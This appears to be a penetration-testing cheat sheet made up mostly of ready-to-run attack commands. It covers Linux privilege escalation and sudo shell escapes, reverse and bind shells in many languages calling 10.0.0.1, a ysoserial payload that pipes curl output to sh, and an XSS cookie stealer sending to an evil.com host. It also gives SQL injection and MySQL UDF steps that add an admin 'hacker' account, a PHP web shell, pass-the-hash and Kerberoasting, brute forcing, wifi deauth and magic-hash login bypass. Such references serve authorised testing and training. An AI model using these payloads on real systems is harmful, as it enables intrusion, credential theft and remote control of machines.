find / -uid 0 -perm -4000 -type f 2>/dev/null
or
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
Do any of these allow interactive mode or exit to shell?
World Writeable Files
find / -perm -2 -type f 2>/dev/null
Locate files exec as elevated that are world mod and modify (i.e. any cron jobs?)
Example:
ls -la /etc/cron.d
Do any match the world writeable?
PATH exploit (if . in path)
Create script with same name as common cmd (i.e. cd, ls, ipconfig)
Drop script in path
Note it's a good idea to also run the actual command at end of script
SUDO
sudo -l
Use above files to escape to shell (if applicable)
sudo find /var -exec sh -i\;
sudo python -c 'import pty;pty.spawn("/bin/bash");'
doas
cat /etc/doas.conf
Find password files (locate or find)
locate *password*
find / -type f -exec grep -i -I "password" {} /dev/null \;
Additional Refs:
https://github.com/nongiach/sudo_inject https://github.com/sleventyeleven/linuxprivchecker https://github.com/rebootuser/LinEnum https://github.com/pentestmonkey/unix-privesc-check https://github.com/diego-treitos/linux-smart-enumeration https://github.com/TH3xACE/SUDO_KILLER
List open files
lsof
# without kernel
lsof -b
# PIDs only
lsof -t
# by user
lsof -u username1,username2
# omit user
lsof -u ^username3
List network files
lsof -i
# IPv4
lsof -i4
# IPv6
lsof -i6
# by protocol
lsof -i TCP
lsof -i UDP
lsof -i TCP:https
# by port
lsof -i TCP:8443
lsof -i TCP:10-1024
# list PIDs
lsof -t -i
# no port conversion
lsof -i -P
# no name conversion
lsof -i -n
# listening
lsof -nP -i TCP -s TCP:LISTEN
# connections
lsof -i | awk '{print $8}' | sort | uniq -c | grep 'TCP\|UDP'
# established
lsof -i -nP | grep ESTABLISHED | awk '{print $1, $9}' | sort -u
# active
lsof -nP -iTCP -sTCP:ESTABLISHED | grep HTTPS
List files by PID
lsof -p 5432,8484
# include PPID
lsof -R
lsof -p 5432 -R
List PIDs that opened file
lsof -t /path/to/file
lsof -t `which <cmd>`
List files by Process Name
lsof -c firefox
List files in directory
# open files
lsof +D DirectoryName
# include subdirectories
lsof +d DirectoryName
List NFS use
lsof -N
List IPC
lsof -U
# by PID
lsof -U -a -p 8484
Kill processes of specific user
sudo kill -9 `lsof -t -u username1`
rpcclient -U "" -N <WinIPaddr>
rpcclient -U <username> <WinIPaddr>
rpcclient $> srvinfo
rpcclient $> enum
rpcclient $> enumdomusers
rpcclient $> queryuser 500
Password bruteforce via rpcclient
for u in `cat users_sorted.txt`; do
echo -n "[*] user: $u" && \
proxychains rpcclient -U "domain\$u%$u" -c "getusername;quit" 10.9.8.40
done
Pass the Hash Variant
pth-rpcclient -U "domain\name%hash" --pw-nt-hash 10.4.128.41
Domain Controller Anonymous Enumeration
enum4linux -A <ip> | tee <ip>-anon-enum.txt
Append rules to top of the Input filter and make persistent
/sbin/iptables -I INPUT -p tcp --dport 50050 -s <ip address> -j ACCEPT
/sbin/iptables -I INPUT -p tcp --dport 22 -s <ip address> -j ACCEPT
service netfilter-persistent save
iptables -L -v
Delete rule
iptables -D INPUT -i eth0 -p tcp --dport 443 -j ACCEPT
Obtain LAPS passwords for domain computers using the linux based ldapsearch tool
Dump Laps Passwords with LDAPSearch by Rob Fuller
ldapsearch -x -h 192.168.80.10 -D "helpdesk" -w ASDqwe123 -b "dc=sittingduck,dc=info" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
-x - Use basic authentication
-h 192.168.80.10 - Connect to the Domain Controller for ldap
-D "helpdesk" -w ASDqwe123 - Login as the helpdesk user, with the password ASDqwe123
-b "dc=sittingduck,dc=info" - This loads the base LDAP object of the entire domain.
"(ms-MCS-AdmPwd=*)" - Filter out any objects that I can’t see a value for ms-MCS-AdmPwd for. (If you have rights as that user to see even one Administrator password, this will show it.)
ms-MCS-AdmPwd - Only show me the ms-MCS-AdmPwd object (which by default includes the object name and DN so you will still know what host it belongs to)
System Lookup
ldapsearch -x -h ldap.domain.com -L -s sub -b ou=ITsystems,ou=computers,o=domain.com "(cn=itwks-001.it.domain.com)" <filteroptional>
User lookup by uid
ldapsearch -x -h ldap.domain.com -b o=domain.com -s sub uid=jdoe| egrep "uid:|uidnumber:|gidnumber:|cn:|gecos:|description:|loginshell:|homedirectory:"
User lookup by name
ldapsearch -x -h ldap.domain.com -b o=domain.com -s sub '(&(sn=Tubberville)(givenname=James))'
Set Pass as self
ldappasswd -H ldaps://ldap.domain.com:6361 -D 'cn=John Doe (jdoe),ou=hr,ou=users,o=domain.com' -S -W -A
Set Pass as Admin
ldappasswd -H ldaps://ldap.domain.com:6361 -x -D 'cn=admin,ou=hr,ou=users,o=domain.com' -S -W 'uid=jdoe,ou=hr users,o=domain.com '
Get FQDN
hostname --fqdn
or
hostname -f
List NFS Mounts on remote host
showmount -e <ipaddr>
Check NFS share counts in a loop
#cat nfs.results.msf |grep -|cut -d'-' -f2|cut -d' ' -f2,5|sed 's/ /:/g'
for server in $(cat nfs.shares); do
echo "[*] Checking $server"
mount -o nolock,nfsvers=3 $server /mnt/n4s_backup
ls /mnt/n4s_backup
umount /mnt/n4s_backup
done
Clone all public repos
for line in $(curl https://api.github.com/orgs/threatexpress/repos | grep -o "[email protected]:threatexpress/[^ ,\"]\+");do echo git clone $line;done
Clone private repos as well
for line in $(curl https://api.github.com/orgs/threatexpress/repos?access_token=<EnterTokenHere> | grep -o "[email protected]:threatexpress/[^ ,\"]\+");do git clone $line;done
Pull all repos within an hierarchical folder structure
find . -type d -depth 1 -exec git --git-dir={}/.git --work-tree=$PWD/{} pull \;
http://pentestmonkey.net/blog/post-exploitation-without-a-tty
Upgrade your shell to a full TTY
python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
(From within IRB)
exec "/bin/sh"
(From within vi)
:!bash
(From within vi)
:set shell=/bin/bash:shell
(From within nmap)
!sh
https://github.com/infodox/exploits/blob/master/payloads/linux/perl.py
Perl Bind Shell (Port 1000)
perl -e 'use Socket;$p=10000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S, SOMAXCONN);for(; $p= accept(C, S); close C) {open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/usr/bin/bash -i");};'
Bash Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
PERL
Here’s a shorter, feature-free version of the perl-reverse-shell:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Python This was tested under Linux / Python 2.7:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP
This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4, 5, 6…
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Netcat Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
nc -e /bin/sh 10.0.0.1 1234
If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
xterm
One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.
xterm -display 10.0.0.1:1
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):
Xnest :1
your’ll need to authorise the target to connect to you (command also run on your host):
xhost +targetip
Send data over ssh to port 9000 on target
ssh -L 8090:localhost:9000 [email protected]
Send data over ssh to port 80 on target through jumphost
ssh -A -t -p22 -L 8800:localhost:8800 [email protected] -t ssh -L 8800:localhost:80 [email protected]
Fwd localhost port 9222 to internal 10.10.15.3:22 through DMZ server1
ssh -p 2222 -i ~/.ssh/keyfile -N -L localhost:9222:10.10.15.3:22 james@server1
Using above example, connect to internal server 10.10.15.3
ssh -i ~/.ssh/keyfile -p 9222 james@localhost
Start proxy through local port 5443 to remote server
ssh -D 5443 -C -f -N -p9222 [email protected]
Send web traffic over proxy (when using above command)
Firefox Network Settings
Manual Proxy Config
SOCKS Host = localhost
Port = 5443
SOCKS v5
Start ssh using existing connections, send keepalive packets
nano ~/.ssh/config
ControlMaster auto
ControlPath ~/.ssh/control:%h:%p:%r
Host localhost
StrictHostKeyChecking no
ServerAliveInterval 60
ServerAliveCountMax 10
TCPKeepAlive yes
Execute commands over ssh
ssh -p22 james@server 'bash -s' < commands.txt
Write list of cmds to disk then execute via ssh
cat commands.txt |ssh -p22 james@server 'cat >> /home/james/cmds; /bin/bash /home/james/cmds'
SSHPry - https://github.com/nopernik/SSHPry2.0
Using pssh (apt install pssh)
apt install pssh
add all target hosts to hosts.txt
Exec command using ssh key (pssh)
parallel-ssh -i -x "-i /path/to/keyfile" -h hosts.txt <cmd>
Exec command using password (prompts for pass)
parallel-ssh -i -l james -A -h hosts.txt <cmd>
scp to targets (pscp)
parallel-scp -l james -A -h hosts.txt /path/on/local /path/on/source
rsync to targets (prsync)
parallel-rsync -r -l james -A -h hosts.txt /path/on/local /path/on/remote
copy single file from targets
parallel-slurp -l james -A -h hosts.txt -L /path/to/local/destination /path/to/remote/filename filename
copy recursively from targets (pslurp)
parallel-slurp -r -l james -A -h hosts.txt -L /path/to/local/destination /path/to/remote/folder foldername
Source: https://github.com/CoreSecurity/impacket/releases/tag/impacket_0_9_15
git clone https://github.com/CoreSecurity/impacket.git
Download VC++ For Python 2.7 (Needed to compile some modules)
Install necessary modules (You may need to install pip first)
python -m pip install pycrypto pyasn1 pyOpenSSL pyReadline ldapdomaindump
You can also download the PyCrypto binary if it fails to compile
Attempt to dump credentials from a remote machine via Pass the Hash
python secretsdump.py ./[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:21306681c738c3ed2d615e29be1574a3
Dump domain password hashes remotely via Volume Shadow Copy
c:\users\username\appdata\local\temp\sd.exe domain/username:password@dchostname -just-dc -use-vss -outputfile
This is the easiest way to gather SPN tickets in the correct format for cracking with John or Hashcat Source: https://room362.com/post/2016/kerberoast-pt2/
root@wpad:~/impacket/examples# ./GetUserSPNs.py -request sittingduck.info/notanadmin -dc-ip <target DC ip address>
Impacket v0.9.15-dev - Copyright 2002-2016 Core Security Technologies
Password:
ServicePrincipalName Name MemberOf PasswordLastSet
---------------------------------- ---------- ---------------------------------------------------- -------------------
http/win10.sittingduck.info uberuser CN=Enterprise Admins,CN=Users,DC=sittingduck,DC=info 2015-11-10 23:47:21
MSSQLSvc/WIN2K8R2.sittingduck.info sqladmin01 2016-05-13 19:13:20
$krb5tgs$23$*sqladmin01$SITTINGDUCK.INFO$SPN*$6e5307df490c6e3339f613fdc5655785$80ba233b4d24531202f2e354c99e7eda807bde7aeeb48ee4cdb6bf809d78652413699e3cff8b9b78b9ee70e997a538155fc7f72e208d715020d458b8413d4b12b212738833c4694d84937d65cb8ecd0020c00a5d39c07da35a748ea2cb062fca4fa9b282e7046d70ee1cae4cfee7d6f791052e283
$krb5tgs$23$*uberuser$SITTINGDUCK.INFO$SPN*$27c08ed2a8d5394f66e8c13c25c98393$310b787ec5c10b20fcc0acb1406b6a6e2ffddd71de3dc4c70c19e5dfcf262cc88574e61cb3940ebfd574b2bb555f2b05f84d8526e3cf46fc0ca57e03467729757cbf79da9f55cde9dabdda68e80dce6564e9f1b904b0585dbc813b82abf89e973e41c102b664f4c649f85acaf7904a273dddcb9315a66f27334f313190e1caf4f5055b671d250f5912cc1871a1dd4a6126087ddfb98ade8f7dde495ee8ad76583aa5a12eef63a690dd82a15eaaca0d7594f2f1dbc899035d89dd628b291590058cfb3405d1dfe4a383be5704465d9c8972ef8f1cba3541fdfa7dcf5063eaed74051fa18bd73f7b4f7d77
RDP Brute
ncrack -u administrator -P 500-worst-passwords.txt -p 3389 10.212.50.21
SSH Brute
medusa -M ssh -C /usr/share/wordlists/ssh.lst -H 22.txt -T 10| grep SUCCESS |tee medusa-results.txt
Telnet Brute
medusa -M telnet -C /usr/share/wordlists/telnet.lst -H 23.txt -T 10 -t 3| grep SUCCESS |tee medusa-results.txt
Place wlan0 in monitor mode
airmon-ng check kill
airmon-ng start wlan0
Change virtual monitor mac
ifconfig wlan0mon down
macchanger -m xx:yy:xx:77:88:99 wlan0mon
ifconfig wlan0mon up
Run airodump
airodoump-ng wlan0mon
Limit to bssid (ensure to select channel and bssid)
airodump-ng -c 8 --bssid 00:00:00:00:00 -w capture wlan0mon
Attempt crack (change bssid as appropriate)
aircrack-ng -b 00:00:00:00:00:00 capture-01.cap
Injection test
aireplay-ng --fakeauth 0 -e "ESSID" -a 00:00:00:00:00:00 wlan0mon
Replay (b is bssid, h is client mac)
aireplay-ng --arpreplay -b 00:01:02:03:04:05 -h 00:04:05:06:07:08 wlan0mon
Aggressive replay (a is bssid, c is client mac)
aireplay-ng --deauth 5 -a 00:01:02:03:04:05 -c 00:04:05:06:07:08 wlan0mon
Deauth (change 1 for multiple deauths, a is AP mac, c is client mac
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 wlan0mon
mdk3 broadcast ap to clients
mdk3 wlan0mon b
mdk3 check hidden ssid
mdk3 wlan0 p
mdk3 mac brute
mdk3 wlan0 f
mdk3 wpa downgrade
mdk3 wlan0 g -t 00:18:0A:33:C9:92
mdk3 deauth specific target
mdk3 wlan0mon d -c 6 -b ~/target.txt
mdk3 auth test to ap
mdk3 wlan0mon a -a bssid
General execution
airmon-ng check kill
airmon-ng start wlan0
airodump-ng -w capture wlan0mon #(use to identify your target network)
airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture2 wlan0mon #(switch to a second console)
aireplay-ng -0 5 -a 00:11:22:33:44:55 -c 00:0F:B5:AB:CB:9D wlan0mon #(wait 60-120 seconds or longer)
aircrack-ng -w ~/wordlist /home/james/Desktop/wtest/capture2.cap
secret' or 1=1 limit1;#
#Find number of columns return by the Select statement
?id=738 order by 1,2,3,4...n until error is received
#Use union select statement to append query to the original
#union Select statement must have same number of columns as original Select statement
?id=738 union select 1,2,3,4,5,6
#Get DB Version
?id=738 union select 1,2,3,4,@@version,6
#Get DBUser
?id=738 union select 1,2,3,4,user(),6
#Get tables from all databases
?id=738 union all select 1,2,3,4,table_name,6 FROM information_schema.tables
#Get Table Columns
?id=738 union select 1,2,3,4,column_name,6 FROM information_schema.columns where table_name='users'
#Get User passwords
?id=738 union select 1,2,3,4,concat(name,0x3a,password),6 FROM users
#FULL All
SELECT something FROM tableA A FULL OUTER JOIN tableB B ON A.KEY = B.KEY
#A partial B
SELECT something FROM tableA A LEFT JOIN tableB B on A.Key = B.Key
#B Partial A
SELECT something FROM tableA A RIGHT JOIN tableB B on A.Key = B.Key
#A no B
SELECT something FROM tableA A LEFT JOIN tableB B on A.Key = B.Key WHERE B.Key IS NULL
# Outer
SELECT something FROM tableA A FULL OUTER JOIN tableB B on A.Key = B.Key WHERE A.Key IS NULL OR B.Key IS NULL
# Inner
SELECT something FROM tableA A FULL INNER JOIN tableB B on A.Key = B.Key
[mysqldir]/bin/mysql-h hostname-u root --password=pass <database>
select @@version
select @@servername
mysql> show databases;
mysql> use [db name];
mysql> show tables;
mysql> describe [table name];
mysql> SELECT * FROM [table name];
User Defined Functions by Platform
udf/mysql/linux/32/lib_mysqludf_sys.so
udf/mysql/linux/64/lib_mysqludf_sys.so
udf/mysql/windows/32/lib_mysqludf_sys.dll
udf/mysql/windows/64/lib_mysqludf_sys.dll
Source: http://www.iodigitalsec.com/mysql-root-to-system-root-with-udf-for-windows-and-linux/
Load MYSQLUDF for Linux
use test;
create table udf(line blob);
insert into udfvalues(load_file('/tmp/udf/udf.so'));
select * from udfinto dumpfile'/usr/lib/udf.so';
create function sys_exec returns integer soname'udf.so';
select sys_exec('id > /tmp/out; chownapache.apache /tmp/out');
select sys_exec('ls -alh/root/Desktop/ >> /tmp/out');
select sys_exec('ls /etc/sudoers>> /tmp/out');
Upload suid.c program
wget http://ip:port/privex/mysql/suid-o /tmp/suid
chownroot:root /tmp/suid
chmod4777 /tmp/suid
Load MYSQLUDFfor Windows
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_files('C://xampplite//webdav//lib_mysqludf_sys.dll'));
SELECT * FROM mysql.npnINTO DUMPFILE'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user hacker hacker1234!@#$ /add");
SELECT sys_exec("net localgroupAdministrators hacker /add");
s_exec('net localgroup"Remote Desktop Users" hacker /add');
Automated website crawl and test of SQLi
python sqlmap.py -u http://example.com --forms --batch --crawl=10 --cookie=jsessionid=12345 --level=5 --risk=3
Grab cookie
document.write('<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />')
XSS via image tag
<img src="x" onerror="alert('Suck it, Trebek!')" />
File system directory listing
res.end(require('fs').readdirSync('.').toString())
File read
res.end(require('fs').readFileSync('/etc/passwd').toString())
Sources: JMPESPJUMP - Attacking Adobe Cold Fusion
Decrypt CFM Files back to source
CF RDS Logon Bypass (Create this html file locally and submit to obtain a auth session)
<form action="http://[HOSTNAME:PORT]/CFIDE/adminapi/administrator.cfc?method=login" method="post">
<input name="adminpassword" type="hidden" value="" />
<input name="rdsPasswordAllowed" type="hidden" value="1" />
<input type="submit" />
</form>
For ColdFusion 6 and 7 the passwords for DataSources encrypted in the following XML files:
- [ColdFusion_Install_Dir]\lib\neo-query.xml
For ColdFusion 8, 9 and 10:
- [ColdFusion_Install_Dir]\lib\neo-datasource.xml
Default credential is "admin:admin"
0. Host your .jar/.war payload with webshell on local webserver
1. Navigate to the JMX Console on the target host (http://IP.Ad.dr.ess:port/jmx-console/) and search for “service=MainDeployer”.
2. From here you’ll want to utilize the deploy() function since it allows you to enter a URL as a parameter value in java.net.URL. In this field, enter your attack IP and the name of the WAR file in the URL box and then click the “Invoke” button.
Other ways to gain execution
* jboss.deployment
* jboss.system (MainDeployer)
* http://localhost:8080/invoker/JMXInvokerServlet
* Java Deserialization Vuln via JMXInvokerServlet
* https://www.redteam-pentesting.de/en/publications/jboss/-bridging-the-gap-between-the-enterprise-and-you-or-whos-the-jboss-now
* https://github.com/frohoff/ysoserial
* https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
* https://www.cigital.com/blog/mitigate-java-deserialization-vulnerability-jboss/
Auto-check and exploitation tool (https://github.com/joaomatosf/jexboss)
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
Java Deserialization Cheat Sheet
How to get a full shell through Java Runtime.exec
Ysoserial payload to execute full commands
sh -c $@|sh . <payload here>
Generate a ysoserial payload to tell server to download further commands via curl and pipe to shell
java -jar ysoserial-0.0.4-all.jar CommonsCollections1 'sh -c $@|sh . curl http://10.42.65.40/commands.sh |sh' > jenkins_curl_shell.bin
Generate a ysoserial payload to execute nc bind shell
java -jar ysoserial-0.0.4-all.jar CommonsCollections1 'sh -c $@|sh . nc -lp 8088 -e /bin/bash' > nc-jenkins.out
./ysoserial-master-v0.0.4-gad26e2b-61.jar CommonsCollections5 "touch /tmp/pwned" >payload.txt
Generate payload with yososerial and send with Burp. You will get a jboss.invocation.InvocationException response on success or failure.
Ensure the headers match these:
POST /invoker/JMXInvokerServlet HTTP/1.1
Host: <hostname/IP>:8080
Content-Type:application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue
Content-Length: 2083
LFI Read File (without executing)
www.example.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php
LFI Read PHP session file for current sessionid
http://blog.target.org/blog.php?page=/var/lib/php5/sess_th3cr1i5cm6m3dq98pb2sn9qg5
Create PHP backdoor/shell (windows):
echo ^<?php echo passthru($_GET['cmd']); ?^> > C:\inetpub\wwwroot\s.php
PHP Command Execution Example
Url/page.php?page=system&help=cmd
@extract ($_REQUEST);
@die ($page($help));
Bypass login authentication with PHP Type juggling by forcing a null condition in a string comparison.
Add [] after a POST parameter "?user_id[]=user22" to force a NULL (zero-like) condition when comparing a string and an array
There are still relatively few dec ent Web Socket testing tools and most aren't very mature:
- BurpSuite - Limited options to view web socket communication, but no ability to edit or replay traffic
- ZAP Proxy - Ability to modify, replay, and fuzz web sockets, but still relatively clumsy
- WSSiP- WebSocket Manipulation Proxy - Application for capturing, modifying and sending custom WebSocket data from client to server and vice versa.
Things that don't seem to fit elsewhere!
Tokens consist of a unique identifier (which can be embedded in either HTTP URLs or in hostnames.) Whenever that URL is requested, or the hostname is resolved, we send a notification email to the address tied to the token. You can get one in seconds, using just your browser.
To obtain a token:
1. Visit http://canarytokens.org.
2. Enter your email address. (It's only used to notify you when the token is triggered, mails are not used for any other purpose.)
3. Enter a comment which describes where you're using the token. If the token is triggered in six months time, a comment will help you remember where you placed the token. Be specific (e.g. "file watch on 192.168.100.2:/repos/repo3/README.txt" or "Password lure email in [email protected] inbox". We envisage having loads of tokens, so a good description is necessary.
4. Click "Generate Token" to obtain your token.
5. Copy the token and drop it somewhere it will be stumbled over.
Create PEM file
openssl req -newkey rsa:2048 -x509 -keyout cakey.pem -out cacert.pem -days 3650
To concatenate the private key and public certificate into a pem file (which is required for many web-servers ) :
cat cakey.pem cacert.pem > server.pem
Python code
import BaseHTTPServer, SimpleHTTPServer
import ssl
httpd = BaseHTTPServer.HTTPServer(('localhost', 4443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
Sometimes DA and other admin level account passwords are stored in Sitelist.xml files on local hosts
type "C:\ProgramData\McAfee\Common Framework\SiteList.xml" |findstr Password
╰ $ ./mcafee_sitelist_pwd_decrypt.py f2mwBTzPQdtnY6QNOsVexH9psAU8z0HbZ2OkDTrFXsR/abAFPM9B3Q==
Crypted password : f2mwBTzPQdtnY6QNOsVexH9psAU8z0HbZ2OkDTrFXsR/abAFPM9B3Q==
Decrypted password : <empty>
git clone https://github.com/funoverip/mcafee-sitelist-pwd-decryption
Retrieve TightVNC registry keys
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\server
Copy password from reg query output
Password REG_BINARY 7228098734BBBA06
ControlPassword REG_BINARY 435D7A037B9FDC2B
Download vncpwd.exe or other VNC password decoder
wine vncpwd.exe 7228098734BBBA06
https://github.com/danielmiessler/SecLists.gits
/etc/security/passwd
Convert AIX passwd file to john format
cat $1|egrep ":|password" | sed 's/password = //g' | tr -d "\t " |sed ':a;N;$!ba;s/:\n/:/g'
echo -n password | iconv -t UTF-16LE | openssl md4
ophcrack using tables
ophcrack -d /Volumes/data/table_vista_free/ -t /Volumes/data/table_vista_free -f ~/Desktop/ntlm.hashdump
Crack mscachev2 format with Hashcat (extremely slow)
./hashcat -m 2100 -a 0 mscachev2.dump ./wordlists/* -r rules/dive.rule
Hashcat SPNs with wordlist
./hashcat -m 13100 -a 0 spns.dump ./wordlists/* -r rules/dive.rule
JTR SPNs with wordlist
./john --format=krb5tgs spns.dump --wordlist=
Source: https://www.whitehatsec.com/blog/magic-hashes/
Use Case 1: Use the “Magic” Number below as a password or as a string that you expect to be hashed. When it is compared against the hash of the actual value, and if they both are treated as “0” and therefore evaluated as true, you will be able to log into the account without the valid password. This could be forced to happen in environments where automatic passwords are chosen for users during a forgot password flow and then attempting to log in immediately afterwards, as an example.
Use Case 2: The attacker can simply take the example in the Hash column in the table below and use it as a value. In some cases these values are simply done as a look-up against known values (in memory, or perhaps dumped from a database and compared). By simply submitting the hash value, the magic hash may collide with other hashes which both are treated as “0” and therefore compare to be true. This could be caused to happen
Hashes
HashType HashLength “Magic”Number Magic Hash Found By
md2 32 505144726 0e015339760548602306096794382326 WhiteHat Security, Inc.
md4 32 48291204 0e266546927425668450445617970135 WhiteHat Security, Inc.
md5 32 240610708 0e462097431906509019562988736854 Michal Spacek
sha1 40 10932435112 0e07766915004133176347055865026311692244 Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham
sha224 56
sha256 64
sha384 96
sha512 128
ripemd128 32 315655854 0e251331818775808475952406672980 WhiteHat Security, Inc.
ripemd160 40 20583002034 00e1839085851394356611454660337505469745 Michael A Cleverly
ripemd256 64
ripemd320 80
whirlpool 128
tiger128,3 32 265022640 0e908730200858058999593322639865 WhiteHat Security, Inc.
tiger160,3 40 13181623570 00e4706040169225543861400227305532507173 Michele Spagnuolo
tiger192,3 48
tiger128,4 32 479763000 00e05651056780370631793326323796 WhiteHat Security, Inc.
tiger160,4 40 62241955574 0e69173478833895223726165786906905141502 Michele Spagnuolo
tiger192,4 48
snefru 64
snefru256 64
gost 64
adler32 8 FR 00e00099 WhiteHat Security, Inc.
crc32 8 2332 0e684322 WhiteHat Security, Inc.
crc32b 8 6586 0e817678 WhiteHat Security, Inc.
fnv132 8 2186 0e591528 WhiteHat Security, Inc.
fnv164 16 8338000 0e73845709713699 WhiteHat Security, Inc.
joaat 8 8409 0e074025 WhiteHat Security, Inc.
haval128,3 32 809793630 00e38549671092424173928143648452 WhiteHat Security, Inc.
haval160,3 40 18159983163 0e01697014920826425936632356870426876167 Independently found by Michael Cleverly & Michele Spagnuolo
haval192,3 48 48892056947 0e4868841162506296635201967091461310754872302741 Michael A. Cleverly
haval224,3 56
haval256,3 64
haval128,4 32 71437579 0e316321729023182394301371028665 WhiteHat Security, Inc.
haval160,4 40 12368878794 0e34042599806027333661050958199580964722 Michele Spagnuolo
haval192,4 48
haval224,4 56
haval256,4 64
haval128,5 32 115528287 0e495317064156922585933029613272 WhiteHat Security, Inc.
haval160,5 40 33902688231 00e2521569708250889666329543741175098562 Michele Spagnuolo
haval192,5 48 52888640556 0e9108479697641294204710754930487725109982883677 Michele Spagnuolo
haval224,5 56
haval256,5 64